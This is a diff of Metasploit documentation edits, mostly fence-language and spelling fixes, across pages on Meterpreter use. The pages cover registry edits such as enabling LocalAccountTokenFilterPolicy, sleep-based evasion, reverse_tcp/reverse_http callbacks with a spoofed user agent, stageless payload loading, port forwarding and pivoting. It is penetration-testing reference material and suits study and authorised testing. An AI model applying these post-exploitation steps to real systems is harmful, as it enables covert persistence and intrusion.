meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows'
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -86,7 +86,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
Versus a x64 session which shows 23 keys:
```
```msf
# x64 Session
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows'
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -98,7 +98,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
If this is problematic either [[upgrade your session to Meterpreter|./Metasploit-Guide-Upgrading-Shells-to-Meterpreter.md]], or specify the `-w` flag which will impact the result of queries:
```
```msf
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows' -w 32
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -106,7 +106,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
# ... omitted for clarity ...
```
```
```msf
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows' -w 64
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -119,7 +119,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
Enumerate a root key:
```
```msf
meterpreter > reg enumkey -k HKLM
Enumerating: HKLM
@@ -135,7 +135,7 @@ Enumerating: HKLM
Enumerate a subkey:
```
```msf
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
@@ -149,7 +149,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Display the registry value and type information:
```
```msf
meterpreter > reg queryval -k 'HKLM\Software\Microsoft\Windows NT\CurrentVersion' -v ProductName
Key: HKLM\Software\Microsoft\Windows NT\CurrentVersion
Name: ProductName
@@ -159,7 +159,7 @@ Data: Windows 10 Enterprise
Values that are of type `REG_SZ_EXPAND` such as ` %SystemRoot%\system32\drivers\GM.DLS` will not automatically be expanded:
```
```msf
meterpreter > reg queryval -k 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectMusic' -v 'GMFilePath'
Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectMusic
Name: GMFilePath
@@ -169,7 +169,7 @@ Data: C:\Windows\system32\drivers\GM.DLS
Values that are of type `REG_MULTI_SZ` will be separated by `\0`:
```
```msf
meterpreter > reg queryval -k 'HKLM\Software\example' -v 'example multi value with spaces'
Key: HKLM\Software\example
Name: example multi value with spaces
@@ -179,7 +179,7 @@ Data: line1\0line2\0line3
### Creating a key
```
```msf
meterpreter > reg createkey -k 'HKLM\software\example'
Successfully created key: HKLM\software\example
```
@@ -188,42 +188,42 @@ Successfully created key: HKLM\software\example
Setting a `REG_DWORD` - use a decimal value:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system' -v LocalAccountTokenFilterPolicy -t REG_DWORD -d 1
Successfully set LocalAccountTokenFilterPolicy of REG_DWORD.
```
Setting a `REG_QWORD` - use a decimal value:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_DWORD -v qword_example -d 12345678
Successfully set example multi value with spaces of REG_MULTI_SZ.
```
Setting `REG_MULTI_SZ` - i.e. an array of strings:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_MULTI_SZ -v 'example multi value with spaces' -d 'line1\0line2\0line3'
Successfully set example multi value with spaces of REG_MULTI_SZ.
```
Setting `REG_BINARY` - use lowercase hexadecimal input without the preceding `0x`:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_BINARY -v binary_example -d deadbeef
Successfully set binary_example of REG_BINARY.
```
### Deleting a key
```
```msf
meterpreter > reg deletekey -k 'HKLM\software\example'
Successfully deleted key: HKLM\software\example
```
### Deleting a value
```
```msf
meterpreter > reg deleteval -k 'HKLM\software\example' -v 'example multi value with spaces'
Successfully deleted example multi value with spaces.
```
@@ -2,7 +2,7 @@ Of the many recent changes to Meterpreter, reliable network communication is one
In the case of HTTP/S transports, some resiliency features were present. Thanks to its stateless nature, HTTP/S transports would continue to attempt to talk to Metasploit after network outages or other unexpected problems as each command request/response is transmitted over a fresh connection. TCP based transports had nothing that would attempt to reconnect should some kind of network issue occur.
Revamped [[transport|./Meterpreter-Transport-Control.md]] implementations have provided support for resiliency even for TCP based communcations. Any session that isn't properly terminated by Metasploit will continue to function behind the scenes while Meterpreter attempts to re-establish communications with Metasploit.
Revamped [[transport|./Meterpreter-Transport-Control.md]] implementations have provided support for resiliency even for TCP based communications. Any session that isn't properly terminated by Metasploit will continue to function behind the scenes while Meterpreter attempts to re-establish communications with Metasploit.
It is also possible to control the behaviour of this functionality a little via the use of the various timeout values that can be specified when adding transports to the session, and also on the fly for the current transport. For full details, please see the [[timeout documentation|./Meterpreter-Timeout-Control.md]] for details on those timeout values.
@@ -16,7 +16,7 @@ During this dormant period, no socket is active, no requests are made, and no re
The interface to the sleep command looks like this:
```
```msf
meterpreter > sleep
Usage: sleep <time>
@@ -27,11 +27,11 @@ Usage: sleep <time>
shut down and restarted after the designated timeout.
```
As shown, `sleep` expects to be given a single postive integer value that represents the number of seconds that Meterpreter should be silent for. When run, the session will close, and then callback after the elapsed period of time. Given that Meterpreter lives in memory, this lack of communication will make it extremely difficult to track.
As shown, `sleep` expects to be given a single positive integer value that represents the number of seconds that Meterpreter should be silent for. When run, the session will close, and then callback after the elapsed period of time. Given that Meterpreter lives in memory, this lack of communication will make it extremely difficult to track.
The following shows a sample run where Meterpreter is put to sleep for 20 seconds, after which the session reconnects while the handler is still in background:
```
```msf
meterpreter > sleep 20
[*] Telling the target instance to sleep for 20 seconds ...
[+] Target instance has gone to sleep, terminating current session.
@@ -57,7 +57,7 @@ The data or time cost of uploading `metsrv`, `stdapi` and `priv` for every singl
It's hard to believe it possible, but in this case the following image could be considered a nightmare.
```
```msf
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
[*] Meterpreter session 4684 opened ....
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
@@ -95,7 +95,7 @@ With this shellcode stub wired into the DOS header, Metasploit adds the entire b
1. Loads the extension DLL into memory.
1. Calculates the size of the DLL.
1. Writes the size of the DLL as a 32-bit value to the configuration block.
1. Writes the entire body of the DLL, as-is, to the end of the conifiguration block.
1. Writes the entire body of the DLL, as-is, to the end of the configuration block.
Once the end of the list of extensions is reached, the last thing that is written to the payload buffer is a 32-bit representation of `0` (`NULL`) which indicates that the list of extensions has been terminated. This `NULL` value is what `metsrv` will look for when iterating through the list of extensions so that it knows when to stop. After this, any extension initialisation scripts are wired in (though that's beyond the scope of this article).
@@ -150,4 +150,4 @@ Congratulations, you're dancing with stageless Meterpreter!
At this point, all of the pre-loaded extensions have been loaded into Meterpreter and are available for use. However, Metasploit is yet to know about them. To initiate client-site wiring of any of the pre-loaded extensions, the user can just type `use <extension>` just like they used to. Metasploit will check to see if the extension already exists in the target instance, and if it does, it will skip the extension upload and just wire-up the functions on the client side. If the extension is missing, then it will upload it and wire-up the functions on the fly just like it always has done.
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
@@ -28,13 +28,13 @@ In the case of `HTTP/S` payloads it's slightly different because the protocols a
With `TCP` transports, communication "times out" when the time between the last packet and the current socket poll is greater than the communications timeout value. This happens when there are network related issues that prevent data from being transmitted between the two endpoints, but doesn't cause the socket to completely disconnect. With `HTTP/S` transports, the communication "times out" for the same reason, but the evaluation of the condition is slightly different in that failure can occur because there is either no response at all from the remote server, or the response to a `GET` request results in no acknowledgement.
By default, this value is set to `300` seconds (`5` minutes), but can be overidden by the user via the `SessionCommunicationTimeout` setting.
By default, this value is set to `300` seconds (`5` minutes), but can be overridden by the user via the `SessionCommunicationTimeout` setting.
If connectivity fails, or the communication is deemed to have timed out. Then the current transport is destroyed, and the next transport in the list of transports is invoked. From there, Meterpreter will use the Retry Total and Retry Wait values while attempting to re-establish a session with Metasploit.
#### Retry Total and Retry Wait
After a transport initialises inside Meterpreter, Meterpreter uses this transport to attempt to establish a new session with Metasploit. In some cases, Metasploit might not be availalble due to reasons like bad network connectivity, or a lack of configured listeners. If Meterpreter can't connect to Metasploit, it will attempt to retry for a period of time. Once that period of time expires, Meterpreter will deem this transport "dead" and will move to the next one in the transport list.
After a transport initialises inside Meterpreter, Meterpreter uses this transport to attempt to establish a new session with Metasploit. In some cases, Metasploit might not be available due to reasons like bad network connectivity, or a lack of configured listeners. If Meterpreter can't connect to Metasploit, it will attempt to retry for a period of time. Once that period of time expires, Meterpreter will deem this transport "dead" and will move to the next one in the transport list.
The total amount of time that Meterpreter will attempt to connect back to Metasploit on the given transport is indicated by the `retry total` value. That is, `retry total` is the total amount of time that Meterpreter will retry communication on the transport. The default value is `3600` seconds (`1` hour), and can be overridden via the `SessionRetryTotal` setting.
@@ -44,7 +44,7 @@ While the current time is within the `retry total` time, Meterpreter will consta
Meterpreter supports the querying and updating of each of these timeouts via the console. In order to get the current timeout settings, users can invoke the `get_timeouts` command, which returns all four of the current timeout settings (one for the global session, and three for the transport-specific settings). An example of which is shown below:
```
```msf
meterpreter > get_timeouts
Session Expiry : @ 2015-06-09 19:56:05
Comm Timeout : 100000 seconds
@@ -56,7 +56,7 @@ The `Session Expiry` value is rendered as an absolute local time so that the use
In order to update these values, users can invoke the `set_timeouts` command. Invoking it without parameters shows the help:
```
```msf
meterpreter > set_timeouts
Usage: set_timeouts [options]
@@ -69,7 +69,7 @@ OPTIONS:
-h Help menu
-t <opt> Retry total time (seconds)
-w <opt> Retry wait time (seconds)
-x <opt> Expiration timout (seconds)
-x <opt> Expiration timeout (seconds)
```
As the help implies, each of these settings takes a value that indicates the number of seconds. Each of the options of this command are optional, so the user can update only those values that they are interested in updating. When the command is invoked, Meterpreter is updated, and the result shows the updated values once the changes have been made.
@@ -77,7 +77,7 @@ In the case of the `-x` parameter, the value that is to be passed in should repr
The following example updates the session expiration timeout to be `2` minutes from "now", and changes the retry wait time to `3` seconds:
```
```msf
meterpreter > set_timeouts -x 120 -t 3
Session Expiry : @ 2015-06-02 22:45:13
Comm Timeout : 100000 seconds
@@ -86,7 +86,7 @@ Retry Wait Time : 2500 seconds
```
This command can be invoked any number of times while the session is valid, but as soon as the session has expired, Metepreter will shut down and it's game over:
```
```msf
meterpreter >
[*] 10.1.10.35 - Meterpreter session 2 closed. Reason: Died
```
@@ -26,7 +26,7 @@ Meterpreter has a new base command called `transport`. This is the hub of all tr
The following output shows the current help text for the `transport` command:
```bash
```msf
meterpreter > transport
Usage: transport <list|change|add|next|prev|remove> [options]
@@ -48,7 +48,7 @@ OPTIONS:
-T <opt> Retry total time (seconds) (default: same as current session)
-U <opt> Proxy username for HTTP/S transports (optional)
-W <opt> Retry wait time (seconds) (default: same as current session)
-X <opt> Expiration timout (seconds) (default: same as current session)
-X <opt> Expiration timeout (seconds) (default: same as current session)
-c <opt> SSL certificate path for https transport verification (optional)
-h Help menu
-i <opt> Specify transport by index (currently supported: remove)
@@ -65,7 +65,7 @@ OPTIONS:
The simplest of all the sub-commands in the `transport` set is `list`. This command shows the full list of currently enabled transport, and an indicator of which one is the "current" transport. The following shows the non-verbose output with just the default transport running:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -82,7 +82,7 @@ The above output shows that we have one transport enabled that is using `TCP`. W
The verbose version of this command shows more detail about the transport, but only in cases where extra detail is available (such as `reverse_http/s`). The following command shows the output of the `list` sub-command with the verbose flag (`-v`) after an `HTTP` transport has been added:
```bash
```msf
meterpreter > transport list -v
Session Expiry : @ 2015-06-09 19:56:05
@@ -98,7 +98,7 @@ Adding transports gives Meterpreter the ability to work on different transport m
The following command shows a simple example that adds a `reverse_http` transport to an existing Meterpreter session. It specifies a custom communications timeout, retry total and retry wait, and also specifies a custom user-agent string to be used for the HTTP requests:
```bash
```msf
meterpreter > transport add -t reverse_http -l 10.1.10.40 -p 5105 -T 50000 -W 2500 -C 100000 -A "Totes-Legit Browser/1.1"
[*] Adding new transport ...
[+] Successfully added reverse_http transport.
@@ -127,7 +127,7 @@ It is also possible to specify the following:
The following shows another example which adds another `reverse_tcp` transport to the transport list:
```bash
```msf
meterpreter > transport add -t reverse_tcp -l 10.1.10.40 -p 5005
[*] Adding new transport ...
[+] Successfully added reverse_tcp transport.
@@ -155,7 +155,7 @@ The three different ways to change transports are:
As an example, here is the current transport setup:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -168,7 +168,7 @@ Session Expiry : @ 2015-06-09 19:56:05
Moving to the next transport:
```bash
```msf
meterpreter > transport next
[*] Changing to next transport ...
[+] Successfully changed to the next transport, killing current session.
@@ -195,7 +195,7 @@ This output shows that we moved from the original `reverse_tcp` to the `reverse_
Moving to the next transport again takes the session to the second `reverse_tcp` listener:
```bash
```msf
meterpreter > transport next
[*] Changing to next transport ...
[+] Successfully changed to the next transport, killing current session.
@@ -218,7 +218,7 @@ Session Expiry : @ 2015-06-09 19:56:06
From here, moving backward sends Meterpreter back to the `reverse_http` listener:
```bash
```msf
meterpreter > transport prev
[*] Changing to previous transport ...
@@ -252,7 +252,7 @@ The command is similar to `add` in that it takes a subset of the parameters, and
* `-p` - The `LPORT` value.
* `-u` - This value is only required for `reverse_http/s` transports and needs to contain the URI of the transport in question. This is important because there might be multiple listeners on the same IP and port, so the URI is what differentiates each of the sessions.
```bash
```msf
[*] Starting interaction with 2...
meterpreter > transport list
@@ -282,7 +282,7 @@ Previously, Meterpreter only had built-in resiliency in the `HTTP/S` payloads an
The following shows Metasploit being closed and leaving the existing `TCP` session running behind the scenes:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -301,7 +301,7 @@ With Metasploit closed, the Meterpreter session has detected that the transport
The following output shows Metasploit being re-launched with the appropriate listeners, and the existing Meterpreter instance establishing a session automatically:
```bash
```msf
./msfconsole -r ~/msf.rc
[*] Starting the Metasploit Framework console...|
IIIIII dTb.dTb _.---._
@@ -63,7 +63,7 @@ Related open tickets (slightly broader than Meterpreter):
* PrependTokenSteal / PrependEnvironmentSteal: Basically with proxies and other perimeter defenses being SYSTEM doesn't work well. This would be an addition to a payload that would work to execute as SYSTEM but would then locate a logged in user and steal their environment to call back to the handler. Very useful when pivoting around with PSEXEC
* Binary installed death dates: A way putting a date in a binary where after that date the binary no longer functions would be useful and possibly even perform self-deletion. Time zones would be a tricky matter, but is something handled by many programmers already (probably just not in shellcode)
* Allow Meterpreter sesssions to resolve L3 addresses (#4793)
* Allow Meterpreter sessions to resolve L3 addresses (#4793)
* Track whether or not the current session has admin credentials (#4633)d
* Support Metasploit-side zlib compression of sessions
* Being able to use Meterpreter instances to easily forward commands & exfil
@@ -49,7 +49,7 @@ If you go to `metasploit-framework/documentation/modules`, you'll see that there
For example:
```
```msf
msf> use auxiliary/scanner/smb/smb_login
msf (smb_login)> info
@@ -1,9 +1,9 @@
# Overview
One of the most important things to learn when first working with Metasploit is how to navigate Metasploit's codebase. However, its often not immediately clear how this should be done. This page aims to explain some of the different approaches that one can take when navigating Metasploit's codebase and provides a primer for learning how Metasploit's codebase is structured.
A quick reminder before we get started, but one can always access the Metasploit Slack at <https://metasploit.slack.com/>. Normally this page should allow you to sign up, however if for any reason you cannot, feel free to shoot an email to msfdev *at* rapid7 *dot* com and we will be happy to send you an invite link.
Metasploit Code Structure
------------------------
# Metasploit Code Structure
A great outline of Metasploit's code structure can be found at <https://www.offensive-security.com/metasploit-unleashed/metasploit-architecture/>, which should be referred to for an overview of Metasploit's code structure. To repeat what is said there there are the following main subdirectories:
* **data** - Our general data storage area. Used to store wordlists for use by modules, binaries that are used by exploits, images, and more.
@@ -23,25 +23,136 @@ A great outline of Metasploit's code structure can be found at <https://www.offe
* **scripts** - Stores various scripts used within Metasploit, such as Meterpreter, and scripts for the console interface of Metasploit Framework.
* **spec** - Contains various RSpec checks that are used to ensure libraries and core functionality within the framework are working as expected. If you are writing a new library or adjusting one, you may need to update the corresponding RSpec file within this directory to ensure the specification checks are updated to reflect the new behavior.
* **test** - Contains tests for various parts of Metasploit code to ensure they are operating as expected.
* **tools** - Contains various tools that may be helpful under different situations. The `dev` directory contains tools useful during development, such as `tools/dev/msftidy_docs.rb` which helps ensure your documentation is in line with standards.
* **tools** - Contains various tools that may be helpful under different situations. The `dev` directory contains tools useful during development, such as `tools/dev/msftidy_docs.rb` which helps ensure your documentation is in line with standards.~~
# Code Navigation Tools
GitHub Code Navigation
------------------------
## GitHub Code Navigation
You can search through the code of Metasploit using GitHub with searches such as <https://github.com/rapid7/metasploit-framework/search?l=Ruby&q=%22payload.arch%22&type=code>. Note that double quotes are required to match specifically on a certain term; in the previous example this term was `payload.arch`. You can also set the `type=code` parameter to specifically match only on code results, however this can be set to `commits` or `issues` if you want to search commits or issues instead. Finally notice that when searching code, its important to also specify the language of the files you want to match. In the case above I made it so that my results would only match on files deemed by GitHub to contain Ruby code, however you can also specify other languages such as Batch, or C if you want those languages instead. You can even remove the language restriction if you find your search results are too narrow.
Another incredibly useful feature of GitHub is the ability to search across all repositories that an organization owns. This is especially useful in Metasploit as certain components, such as Rex code and payload code, may be contained in repositories other than `metasploit-framework`. To search across the public repositories that Rapid7 owns, use a search such as <https://github.com/search?q=org%3Arapid7+%22payload.arch%22&type=code>. Note the presence of the `org:rapid7` tag within the previous URL: this tells GitHub to look through all repositories that Rapid7 owns for the term `payload.arch` within any code files.
Experiment with these results and play around with GitHub searches more. Over time you will learn where it is useful and where it has its limitations and will be able to determine when it might be better to use an IDE to help understand a piece of code more.
IDE Code Navigation
------------------------
## SolarGraph Code Navigation
A better way to navigate code, particularly across repos, and also find out where things are defined using an easy to use interface, is SourceGraph from
<https://sourcegraph.com>. The interface is not hard to use and you can find several tutorials over at <https://docs.sourcegraph.com/tutorials> on how to use it.
The main benefit of SourceGraph over GitHub is the ability to search all known repositories at once and then easily jump between definitions using either the
online search at <https://sourcegraph.com/search>, or the GitHub integrated browser plugin from <https://docs.sourcegraph.com/integration/browser_extension> to allow
easy navigation of Metasploit and Rapid7 code from your GitHub PR reviews.
It is also recommended to review the tutorials and better understand some of the advanced search capabilities of SourceGraph as they do provide some useful search
functionality that is not available or may be harder to perform with GitHub.
# IDE Code Navigation
## RubyMine Code Navigation
One of the best ways to navigate the codebase within Metasploit is to use RubyMine, available from <https://www.jetbrains.com/ruby/>. Whilst it is a paid tool, it offers a variety of neat referencing finding features such as the ability to right click on a method name and select `Find Usages`, or to right click the method name and select `Go To -> Declaration or Usages` to find all the locations where that method might of been defined within the codebase, which can make tracing complex definitions that wind between library and module code much easier. RubyMine also offers autocompletion and integrates well with many tools such as Git to allow you to quickly switch branches and RuboCop to help provide suggestions on where your code style could be improved.
For a cheaper option one can also use VS Code. Note however that VS Code does not have the best autotab completion and will not allow you to trace references, however if your willing to put up with this, it is a much faster and more lightweight product than RubyMine, which makes it great for those times when you just need to edit a piece of code without loading a bunch of related files that you don't need to reference or edit. It also has great regex search features that work much faster than RubyMine, allowing you to search for items within the codebase a lot quicker than you can with RubyMine, which will often seem to stutter at times due to its larger overhead.
Ultimately though the tool that you pick should be up to you. Some may prefer to work with vim/nano/emacs or some other command line editor over a GUI interface. Use whatever you can afford and feels comfortable to you!
Pry Debugging
------------------------
Occasionally, simply reading through Metasploit code may not be helpful. You need to actually get into the weeds and learn what a piece of code is doing. In these cases, it may be helpful to use `pry`, a Ruby Debugger that can be launched at a specific place within your code and which allows you to view the state of the program at that time, make adjustments as needed, and then either step through the program or continue to let it run. A full tutorial on Pry will not be provided here, instead readers are encouraged to read up on the various guides on Pry available online, such as <https://learn.co/lessons/debugging-with-pry>
## SolarGraph Code Navigation - VSCode
We'd be remiss to not mention SolarGraph as a potential plugin that one can use to navigate code within VSCode. This tool
provides a lot of the autocomplete and IntelliSense functionality you might get from dedicated IDEs such as RubyMine, within
VSCode itself. The tool can be installed by running `gem install solargraph-rails` for the Rails integrations, which will
also in turn install `solargraph` itself. If you just want SolarGraph without the Rails integrations, run `gem install solargraph`.
The configuration file for SolarGraph itself can be found at `.solargraph.yml` within the root directory of Metasploit Framework.
For more information on how this works and how to tweak it, please refer to <https://solargraph.org/guides/configuration>.
Once the Gem files have been installed, the next step is to install the VSCode plugin. You can grab it from
<https://marketplace.visualstudio.com/items?itemName=castwide.solargraph>. Once this is done, run the following commands
to ensure that SolarGraph is using the most up to date information about your code:
```
bundle install # Update all the gems
yard gems # Create documentation files for all the gems. SolarGraph relies on YARD for a lot of info.
yard doc -c # Create YARD docs for all files and use the cache so we don't repeat work (-c option).
solargraph bundle # Update Solargraph documentation for bundled gems
```
Then close down VSCode and restart it again, opening up the `metasploit-framework` directory again as a project if needs be.
This should result in the SolarGraph server starting and then taking a few minutes to index your files. Note that this
process may occur every time you open up the `metasploit-framework` project. This is normal and to be expected.
If you'd like to save yourself some time, you can have YARD automatically generate new documentation for installed Gems
by running `yard config --gem-install-yri` which will configure YARD to automatically generate documentation whenever
new Gems are installed.
# Debugging Metasploit
## Pry Debugging
Occasionally, simply reading through Metasploit code may not be helpful. You need to actually get into the weeds and learn
what a piece of code is doing. In these cases, it may be helpful to use `pry`, a Ruby Debugger that can be launched at
a specific place within your code and which allows you to view the state of the program at that time,
make adjustments as needed, and then either step through the program or continue to let it run.
You can enter into an interactive debugging environment using `pry` by adding the following code
snippet within your Metasploit module or library method:
```ruby
require 'pry'; binding.pry
```
Pry includes inbuilt commands for code navigation:
- `backtrace`: Show the current call stack
- `up` / `down`: Navigate the call stack
- `step`: Move forward by a single execution step
- `next`: Move forward by a single line
- `whereami`: Show the current breakpoint location again
- `help`: View all of the available commands and options
Ruby's runtime introspection can be used to view the available methods, classes, and variables within the current Ruby environment:
- `self`: To find out what the current object is
- `self.methods`: Find all available methods
- `self.methods.grep /send/`: Searching for a particular method that you're interested in. This can be great to explore unknown APIs.
- `self.method(:connect).source_location`: Find out which file, and which line, defined a particular method
- `self.class.ancestors`: For complex modules, this can be useful to see what mixins a Metasploit module is currently using
To learn more about Pry, we recommend reading GitLab's guide at <https://docs.gitlab.com/ee/development/pry_debugging.html>.
## Debug.gem Debugging
Ruby 3.1 and later come with `debug.gem` installed automatically, which is the new default debugger for Ruby. It replaces
the old `lib/debug.rb` library that was not actively being maintained and replaces it with a modern debugging library
capable of performing many debugging actions with next to no impact on the performance of the debugged application.
Whilst RubyMine does not support the `debug.gem` functionality, you can use VSCode to take advantage of `debug.gem`
to get speedy debugging of Ruby scripts from within VSCode itself. Simply install the debugging plugin
from <https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg>, then go to the Metasploit root directory,
and if you have Bundler installed, run `bundle install`. This will bring in the latest version of the `debug` gem.
Once this is all done, open the `metasploit-framework` folder from a cloned GitHub copy of Metasploit Framework in VSCode
by using `File->Open Folder`. Then click `Run->Add Configuration->Ruby(rdbg)`. This will create a file at
`<metasploit root>/.vscode/launch.json`. Replace the contents of this file with the contents of the file at
<https://github.com/rapid7/metasploit-framework/blob/master/external/vscode/launch.json>. If you wish, you can
optionally change the listening port from `55634` in the script to one of your choice.
Finally click `Run->Start Debugging` to start debugging Metasploit Framework using VSCode. This may cause a prompt to
appear that looks like `bundle exec ruby /home/tekwizz123/git/metasploit-framework/msfconsole`. Confirm this looks okay
and that you are using `bundle exec ruby` to execute `msfconsole`. If all looks good, hit the `ENTER` key to confirm.
At this point you should see Metasploit Framework open up.
If you want to prevent this prompt in the future then simply remove the `"askParameters": true,` line from `launch.json`.
Once in a debugging session, debug.gem supports the same commands as Pry in may cases, so the commands listed in the
Pry section above should work in the same manner. Additionally debug.gem also supports extra commands for things such as
tracing data. For more details refer to the command list at <https://github.com/ruby/debug#debug-command-on-the-debug-console>
which provides a detailed list of debug.gem's supported commands. For more information on the VSCode rdbg plugin,
refer to <https://code.visualstudio.com/docs/languages/ruby> and <https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg>.
## RubyMine Debugging
RubyMine comes with its own built in debugger that is based off of the old `lib/debug.rb` library in Ruby, however it
has custom patches and modifications applied to it by the JetBrains team. To set it up, first clone the Git repository
for Metasploit-Framework locally, then go `File->Open` and click on the `metasploit-framework` folder to open it as a project.
Once this is done, go to `Run->Edit Configurations` and click the plus sign to add a new configuration. Select
`Ruby`, and in the name field, enter a name that makes sense for you, such as `Metasploit Debug`. Under `Ruby Script`,
enter the full path to `msfconsole` on your local machine. Finally, set the SDK to either `Use Project SDK` or select
another Ruby SDK that RubyMine recognizes.
You can add a Ruby SDK by going to `File->Settings->Languages and Frameworks->Ruby SDK and Gems` and clicking the plus sign.
@@ -4,7 +4,7 @@ Installers are built nightly for macOS, Windows (64-bit) and Linux. These insta
The following script invocation will import the Rapid7 signing key and setup the package for supported Linux and macOS systems:
```
```sh
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
@@ -33,7 +33,7 @@ If you downloaded Metasploit from us, there is no cause for alarm. We pride our
### Windows silent installation
The PowerShell below will download and install the framework, and is suitable for automated Windows deployments. Note that, the installer will be downloaded to `$DownloadLocation` and won't be deleted after the script has run.
```
```powershell
[CmdletBinding()]
Param(
$DownloadURL = "https://windows.metasploit.com/metasploitframework-latest.msi",
@@ -1,7 +1,7 @@
# Install oracle InstantClient
InstantClient 10 is recommneded to allow you to talk with 8,9,10,&11 server versions.
InstantClient 10 is recommended to allow you to talk with 8,9,10,&11 server versions.
Go to <https://www.oracle.com/database/technologies/instant-client/downloads.html> and select the link corresponding to your UNIX PC's architecture. Example for Linux x64, use the Instant Client for Linux x86-64 link, which should take you to <https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html>
@@ -95,7 +95,7 @@ IPv4 Active Routing Table
msf6 post(multi/manage/autoroute) >
```
All right so that's one way, but what if we wanted to do this manually? First off to flush all routes from the routing table, we will do `route flush` followed by `route` to double check we have successfully removed the entires.
All right so that's one way, but what if we wanted to do this manually? First off to flush all routes from the routing table, we will do `route flush` followed by `route` to double check we have successfully removed the entries.
```msf
msf6 post(multi/manage/autoroute) > route flush
@@ -290,7 +290,7 @@ Active sessions
#### Local Port Forwarding
To set up a port forward using Metasploit, use the `portfwd` command within a supported session's console such as the Meterpreter console. Using `portfwd -h` will bring up a help menu similar to the following:
```
```msf
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
@@ -309,7 +309,7 @@ meterpreter >
To add a port forward, use `portfwd add` and specify the `-l`, `-p` and `-r` options at a minimum to specify the local port to listen on, the report port to connect to, and the target host to connect to respectively.
```
```msf
meterpreter > portfwd add -l 1090 -p 443 -r 169.254.37.128
[*] Local TCP relay created: :1090 <-> 169.254.37.128:443
meterpreter >
@@ -338,7 +338,7 @@ Note that you may need to edit your `/etc/hosts` file to map IP addresses to giv
#### Listing Port Forwards and Removing Entries
Can list port forwards using the `portfwd list` command. To delete all port forwards use `portfwd flush`. Alternatively to selectively delete local port forwarding entries, use `portfwd delete -l <local port>`.
```
```msf
meterpreter > portfwd delete -l 1090
[*] Successfully stopped TCP relay on 0.0.0.0:1090
meterpreter > portfwd list
@@ -355,7 +355,7 @@ To set up a reverse port forward, use `portfwd add -R` within a supported sessio
For example to listen on port 9093 on a target session and have it forward all traffic to the Metasploit machine at 172.20.97.72 on port 9093 we could execute `portfwd add -R -l 4444 -L 172.20.97.73 -p 9093` as shown below, which would then cause the machine who have a session on to start listening on port 9093 for incoming connections.
```
```msf
meterpreter > portfwd add -R -l 4444 -L 172.20.97.73 -p 9093
[*] Local TCP relay created: 172.20.97.73:4444 <-> :9093
meterpreter > netstat -a
@@ -446,7 +446,7 @@ socks5 127.0.0.1 1080
The final final should look something like this:
```
```ini
# proxychains.conf VER 3.1
#
# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
@@ -11,12 +11,12 @@ Unfortunately, at this point in time the extension only works inside x86 and x64
# Usage
As with any other extension that comes with Meterpreter, loading it is very simple:
```
```msf
meterpreter > use python
Loading extension python...success.
```
Once loaded, the help system shows the commands that come with the extension:
```
```msf
meterpreter > help
... snip ...
@@ -36,7 +36,7 @@ Each of these commands is discussed in detail below.
## python_execute
The `python_execute` command is the simplest of all commands that come with the extension, and provides the means to run single-shot lines of Python code, much in the same way that the normal Python interpreter functions from the command-line when using the `-c` switch. The full help for the command is as follows:
```
```msf
meterpreter > python_execute -h
Usage: python_execute <python code> [-r result var name]
@@ -50,13 +50,13 @@ OPTIONS:
-r <opt> Name of the variable containing the result (optional)
```
A very simple example of this command is shown below:
```
```msf
meterpreter > python_execute "print 'Hi, from Meterpreter!'"
[+] Content written to stdout:
Hi, from Meterpreter!
```
Notice that any output that is written to stdout is captured by Meterpreter and returned to Metasploit so that it's visible to the user. This also happens for anything written to stderr, as shown below:
```
```msf
meterpreter > python_execute "x = x + 1"
[-] Content written to stderr:
Traceback (most recent call last):
@@ -66,25 +66,25 @@ NameError: name 'x' is not defined
This handy feature now only allows users to see the output of their scripts, but it also means that any errors are completely visible too.
A more interesting example can be seen below:
```
```msf
